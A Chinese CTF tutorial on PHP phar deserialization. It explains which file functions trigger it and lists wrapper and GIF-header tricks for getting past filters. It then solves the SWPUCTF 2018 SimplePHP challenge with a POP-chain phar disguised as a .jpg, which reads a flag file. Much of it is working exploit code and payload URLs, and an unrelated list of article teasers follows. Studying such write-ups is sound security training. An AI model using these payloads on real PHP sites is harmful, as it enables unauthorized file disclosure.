phar反序列化原理及利用

phar是什么?

phar 是 PHP 的一种归档文件格式,类似于 ZIP 或 TAR 文件,它可以包含多个文件和目录,并且可以像访问普通文件系统一样在 PHP 中进行访问。在php 5.3 或更高版本中默认开启
在php.ini中配置如下时,才能生成phar文件,记得要删除分号

phar.readonly = Off

image.png

phar文件的生成以及利用

这个是一个简单的php反序列化题

<?php
  class Test {
  public $num = 2;
  public function __destruct() {  //__destruct 函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
  if ($this->num === 1) {
  echo 'flag{^_^}';                              }
                              }
}
unserialize($_GET['data']);
#show_source(__FILE__)
?>

payload构造代码:

<?php
  class Test {
  public $num;
  }

  $a = new Test();
$a->num=1;
echo serialize($a);

image.png
最后成功输出flag

image.png
正常的php反序列化是通过unserialize函数来实现的,而phar反序列化可以通过 file_get_contents函数来实现。
如下:

<?php
class Test {
    public $num = 2;
    public function __destruct() {
        if ($this->num === 1) {
            echo 'flag{^_^}';
        }
    }
}

echo file_get_contents($_GET['file']);
?>

我们修改一下php反序列化的payload的构造代码:

<?php
class Test {
	public $num;
}
$a = new Test();
$a->num=1;


$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetaData($a);
$phar->addFromString("test2.txt", "test2");
$phar->stopBuffering();
?>

可以看见之前的serialize函数被代替了,变成这了几段代码:

$phar = new Phar("a.phar"); // 创建一个名为 "a.phar" 的 Phar 归档文件。
$phar->startBuffering(); //使用 startBuffering() 方法开始缓冲,以便在添加文件之前可以对 Phar 对象进行配置。
$phar->setStub("<?php __HALT_COMPILER(); ?>"); /* 设置stub,必须以__HALT_COMPILER(); ?>结尾*/
$phar->setMetaData($a); # 设置自定义的metadata,序列化存储,解析式会被序列化。
$phar->addFromString("test2.txt", "test2"); //phar文件里面的文件为test2.txt,内容为test2
$phar->stopBuffering(); # 停止缓冲,将所有的配置应用到 Phar 文件中

访问我们构造的php代码,可以看见在本地生成了一个a.phar文件
image.png
这时候再访问题目的页面,对file参数使用phar协议

?file=phar://a.phar/test2.txt

image.png
可以看见输出了test2和flag,test2为我们的a.phar文件里面的内容,通过file_get_contents函数读取出来的,至于为什么flag也读出来,是因为a.phar里面有我们的恶意代码,phar文件被反序列化了。

触发phar反序列化的敏感函数

文件相关的函数

fileatime / filectime / filemtime
stat / fileinode / fileowner / filegroup / fileperms
file / file_get_contents / readfile / fopen
file_exists / is_dir / is_executable / is_file 
is_link / is_readable / is_writeable / is_writable
parse_ini_file
unlink
copy

其他触发函数

image
    exif_thumbnail
    exif_imagetype
    imageloadfont
    imagecreatefrom***
    getimagesize
    getimagesizefromstring
hash
    hash_hmac_file
    hash_file
    hash_update_file
    md5_file
    sha1_file
file / url
    get_meta_tags
    get_headers

常见的绕过方式

绕过phar://开头

compress.bzip://phar://a.phar/test1.txt
compress.bzip2://phar://a.phar/test1.txt
compress.zlib://phar://a.phar/test1.txt
php://filter/resource=phar://a.phar/test1.txt
php://filter/read=convert.base64-encode/resource=phar://a.phar/test1.txt

绕过图片检查

  • 可以修改phar文件名的后缀
  • 文件开头添加GIFB9a绕过十六进制检查
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");

案例演示

题目地址:

https://buuoj.cn/challenges#[SWPUCTF%202018]SimplePHP

信息收集

进入首页可以看见这里有一个可疑的文件读取漏洞
image.png
查看源代码,可以看见flag的位置提示
image.png
尝试读取file.php文件,发现成功读取
image.png
class.php源代码如下,在这里我们知道了f1ag.php的绝对路径应该是 /var/www/html/f1ag.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 

在这里可以看见有一个phar的反序列化漏洞可利用函数 file_exists
我们构造一下参数查看一下class.php文件
image.png

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

可以发现文件读取的主要函数是file_get ,我们可以构造它的内容为/var/www/html/f1ag.php读取flag
image.png
但是要想执行file_get 函数就必须调用get函数,可以看见get方法的调用又来自__get魔术方法,在__get魔术方法中访问一个对象的不可访问属性时被调用,会自动调用,具体可以参考我这篇:

https://blog.csdn.net/weixin_53912233/article/details/136201452/

在Show类中可以发现,可以发现这么一行是属于Test类不可访问的属性,那么 source 就是 Test 类中一个不存在的属性,在执行这条语句时就会触发 Test 类的 __get 魔术方法。
image.png
因为不存在的属性source被__get魔术方法调用了,所以$key就是source属性,被当作后续的参数使用。
由于调用str属性需要来自 C1e4r类,这里有一个构造魔法__construct。
image.png
至于调用Show类中的__toString方法,可以看见在C1e4r类中有一个echo输出函数,当对象作为字符串进行输出的时候就会进行调用
image.png
image.png

pop链构造

所以构造pop链的思路是:

Test()->params['source']="/var/www/html/f1ag.php"; //Test类中获取的文件为f1ag.php
Show()->str['str'] = new Test(); //调用Show类的属性,因为在Test类中不存在该属性,触发__get方法
C1e4r()->str = new Show(); //调用C1e4r类的str属性给Show类

pop构造代码如下:

<?php
class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
 }
class Test
{
    public $file;
    public $params;
  }
  
$a = new Test();
$a->params['source'] = "/var/www/html/f1ag.php"; //因为source属性是get函数的传参,我们可以利用它自定义读取的文件

$b = new Show();
$b->str['str'] = $a; //Show类中的str['str']给Test类,因为该属性对于Test类不存在,可以调用__get魔术方法

$c = new C1e4r();
$c->str = $b;   //C1e4r类将str属性给Show类

/*最后打包成phar文件*/
$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); 
$phar->setMetaData($c);  // 打包该类
$phar->addFromString("test2.txt", "test2");
$phar->stopBuffering();
?>

最后在本地可以看见生成了一个phar文件
image.png

获取flag

这里可以看见有一个文件上传的点
image.png
直接上传可以看见被过滤掉了
image.png
我们使用文件读取漏洞看一下该上传页面的源代码upload_file.php:
image.png
可以看见包含了一个function.php,再次查看该源代码:
image.png
可以发现了上传后的文件在upload目录下,同时后端对后缀进行了验证,我们将 a.phar文件改为 a.jpg文件即可,可以发现上传成功
image.png
访问upload目录可以看见这个就是我们上传的文件
image.png
这时候我们在文件读取的漏洞利用phar协议,读取我们上传的恶意文件,可以发现出现了base64字符串,恶意代码解析成功。
image.png
bae64解码获取flag
image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/400754.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

线性代数:线性方程组解的结构

目录 齐次/非齐次方程组的解 Ax 0 的解的性质 定理 Ax b 的解的性质 相关证明 例1 例2 例3 齐次/非齐次方程组的解 Ax 0 的解的性质 定理 Ax b 的解的性质 相关证明 例1 例2 例3

docker容器常见操作

目录 一、认识容器 1.1、docker用到的内核技术 1.2、namespace 1.3、Control Group 1.4、LXC与docker区别 二、docker环境准备 2.1、安装docker 2.2、docker daemon环境管理 三、镜像、容器和仓库 3.1、镜像常见操作 3.2、配置镜像加速器 命名空间 3.3、非官方镜像仓…

亿道丨防爆工业平板哪家好丨防爆平板电脑pad:防什么?

在爆炸性环境中&#xff0c;工作安全是至关重要的。防爆工业平板作为一种特殊设计的设备&#xff0c;不仅能够抵御爆炸风险&#xff0c;还提供高效的工作性能。本文将介绍防爆工业平板的防护功能以及其在各个行业中的应用。 在许多行业&#xff0c;如石油、化工、矿山和制药等领…

【RT-DETR有效改进】Best Paper | DAttention (DAT)可变形注意力机制和动态采样点

一、本文介绍 本文给大家带来的是RT-DETR改进DAT(Vision Transformer with Deformable Attention)的教程&#xff0c;其发布于2022年CVPR2022上同时被评选为Best Paper&#xff0c;由此可以证明其是一种十分有效的改进机制&#xff0c;其主要的核心思想是&#xff1a;引入可变…

考研高数(高阶导数的计算)

1.归纳法 常见高阶导数 2.泰勒展开式 3.莱布尼兹公式 4.用导数定义证明导函数在某一点连续的例题

亿道丨三防平板电脑厂商哪家好丨麒麟系统三防平板PAD

随着科技的飞速发展&#xff0c;人们对于移动设备的需求越来越高。然而&#xff0c;在不同的行业应用场景下&#xff0c;常规的智能平板往往无法满足特殊的工作要求。&#xff0c;亿道三防平板&#xff0c;将高可靠性与卓越性能高度结合&#xff0c;为各行各业提供卓越的移动解…

stm32——hal库学习笔记(ADC)

这里写目录标题 一、ADC简介&#xff08;了解&#xff09;1.1&#xff0c;什么是ADC&#xff1f;1.2&#xff0c;常见的ADC类型1.3&#xff0c;并联比较型工作示意图1.4&#xff0c;逐次逼近型工作示意图1.5&#xff0c;ADC的特性参数1.6&#xff0c;STM32各系列ADC的主要特性 …

华为OD机试真题-用连续自然数之和来表达整数-2023年OD统一考试(C卷)---python代码免费

题目&#xff1a; 代码 """ 题目分析&#xff1a; 一个整数 连续的自然数之和表示(非负整数&#xff09;输入&#xff1a; 一个整数T[1,1000] 输出&#xff1a; 输出多个表达式&#xff0c;自然数个数最少优先输出 最后一行&#xff0c; 输出“Result : 个数…

[计网底层小探索]:实现并部署多线程并发Tcp服务器框架(基于生产者消费者模型的线程池结构)

文章目录 一.网络层与传输层协议sockaddr结构体继承体系(Linux体系)贯穿计算机系统的网络通信架构图示: 二.实现并部署多线程并发Tcp服务器框架线程池模块序列化反序列化工具模块通信信道建立模块服务器主体模块任务回调模块(根据具体应用场景可重构)Tips:DebugC代码过程中遇到…

4.Spring MVC入门

文章目录 1. HTTP协议2. Spring MVC2.1. 三层架构2.2. MVC&#xff08;解决表现层的问题&#xff09;2.3. 核心组件 3. Thymeleaf3.1. 模板引擎3.2. Thymeleaf3.3. 常用语法 代码 1. HTTP协议 网址&#xff1a;https://www.ietf.org/ &#xff08;官网网址&#xff09; https:…

oppo手机如何录屏?解锁录屏新功能!

“最近换了一款oppo手机&#xff0c;感觉它的拍照功能真的很强大。但除此之外&#xff0c;我发现oppo还有许多隐藏功能&#xff0c;比如录屏。但我尝试了很久&#xff0c;都没找到录屏的开关在哪里。有没有哪位oppo用户知道怎么打开这个功能呢&#xff1f;” 随着科技的不断发…

几个常见的C/C++语言冷知识

当涉及到C/C语言时&#xff0c;有一些冷知识可能并不为人所熟知&#xff0c;但却可以让你更深入地理解这门古老而强大的编程语言。以下是一些有趣的C/C语言冷知识。 1. 数组的下标可以是负数 在我们日常的C语言编程中&#xff0c;数组是一个非常常见的数据结构。我们习惯性地使…

opencv python投影变换效果

变换原理&#xff1a; https://www.cnblogs.com/txwtech/p/18024547 python示范代码&#xff1a; src2原图&#xff0c;4个坐标点 dst2转换后&#xff0c;4个坐标点 p_touyin cv2.getPerspectiveTransform(src2,dst2) #计算投影变换矩阵 #利用矩阵值进行图像投影变换 r…

TCP 三次握手和四次挥手

为了准确无误地把数据送达目标处&#xff0c;TCP协议采用了三次握手策略。 1 TCP 三次握手漫画图解 如下图所示&#xff0c;下面的两个机器人通过3次握手确定了对方能正确接收和发送消息(图片来源网络)。 简单示意图&#xff1a; 客户端–发送带有 SYN 标志的数据包–一次握手…

jmeter下载base64加密版pdf文件

一、何为base64加密版pdf文件 如下图所示&#xff0c;接口jmeter执行后&#xff0c;返回一串包含大小写英文字母、数字、、/、的长字符串&#xff0c;直接另存为pdf文件后&#xff0c;文件有大小&#xff0c;但是打不开&#xff1b;另存为doc文件后&#xff0c;打开可以看到和…

Linux多线程服务端编程:使用muduo C++网络库 学习笔记 第十二章 C++经验谈(一)

作者对C的基本态度是“练从难处练&#xff0c;用从易处用”&#xff0c;因此本章有几节“负面”的内容。作者坚信软件开发一定要时刻注意减少不必要的复杂度&#xff0c;一些花团锦簇的招式玩不好反倒会伤到自己。作为应用程序的开发者&#xff0c;对技术的运用要明智&#xff…

Pandas时间序列数据补全

一、问题 时间序列数据缺失&#xff0c;将其补全。 如下图所示&#xff0c;数据存在缺失秒级的情况 二、方法 1、需要将时间戳字段设置成 df 的索引 2、使用df.resample()方法 (1)上采样&#xff08;将上一条数据作为当前缺失数据&#xff09; resample()中的参数&#x…

基于深度学习的子图计数方法

背景介绍 子图计数&#xff08;Subgraph Counting&#xff09;是图分析中重要的研究课题。给定一个查询图 和数据图 , 子图计数需要计算 在 中子图匹配的&#xff08;近似&#xff09;数目 。一般我们取子图匹配为子图同构语义&#xff0c;即从查询图顶点集 到数据图顶点集 的…

pitch、yaw、roll

pitch、yaw、roll是描述物体在空间中旋转的术语&#xff0c;通常用于计算机图形学或航空航天领域中。这些术语描述了物体绕不同轴旋转的方式&#xff1a; Pitch&#xff08;俯仰&#xff09;&#xff1a;绕横轴旋转&#xff0c;使物体向前或向后倾斜。俯仰角度通常用来描述物体…

基于Java+小程序点餐系统设计与实现(源码+部署文档)

博主介绍&#xff1a; ✌至今服务客户已经1000、专注于Java技术领域、项目定制、技术答疑、开发工具、毕业项目实战 ✌ &#x1f345; 文末获取源码联系 &#x1f345; &#x1f447;&#x1f3fb; 精彩专栏 推荐订阅 &#x1f447;&#x1f3fb; 不然下次找不到 Java项目精品实…